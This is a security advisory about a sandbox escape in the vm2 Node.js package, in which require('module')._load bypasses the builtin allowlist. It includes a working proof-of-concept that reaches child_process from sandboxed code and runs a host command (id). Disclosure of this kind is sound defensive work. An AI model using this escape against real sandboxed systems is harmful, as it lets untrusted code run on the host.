Arbitrary Code Injection Affecting vm2 package, versions >=3.9.18 <3.11.0

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Injection through lib/builtin.js. An attacker can execute host code when the allowlist includes -X or uses * and then calls require('module')._load('child_process') from sandboxed code. The same host-passthrough path also exposes worker_threads, cluster, vm, repl, and inspector, letting sandboxed code spawn host processes, run unsandboxed JavaScript, or attach to the host process.

const { NodeVM } = require('vm2');

// Developer thinks child_process is blocked
const vm = new NodeVM({
  require: {
    builtin: ['*', '-child_process'],
    external: false,
  },
});

const out = vm.run(`
  const Module = require('module');
  // Module._load bypasses vm2's builtin allowlist entirely
  const cp = Module._load('child_process');
  module.exports = cp.execSync('id').toString();
`, 'poc.js');

console.log(out.trim()); // prints host uid/gid — RCE achieved

• GitHub Advisory
• GitHub Commit